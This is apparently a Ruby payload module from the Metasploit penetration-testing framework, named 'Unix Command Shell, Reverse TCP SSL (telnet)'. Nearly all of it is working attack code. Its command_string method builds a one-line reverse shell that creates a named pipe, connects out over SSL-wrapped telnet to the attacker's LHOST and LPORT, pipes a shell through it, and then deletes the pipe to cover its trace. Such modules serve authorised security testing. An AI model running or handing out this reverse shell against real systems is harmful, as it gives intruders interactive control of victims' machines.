William Vu
59 lines
1.7 KiB
Ruby
59 lines
1.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp_ssl'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module MetasploitModule
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CachedSize = :dynamic
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
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'Description' => %q{
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Creates an interactive shell via mkfifo and telnet.
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This method works on Debian and other systems compiled
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without /dev/tcp support. This module uses the '-z'
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option included on some systems to encrypt using SSL.
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},
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'Author' => 'RageLtMan',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseTcpSsl,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd_bash',
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'RequiredCmd' => 'telnet',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate
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vprint_good(command_string)
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 )
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cmd = "mkfifo #{pipe_name} && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
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end
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end
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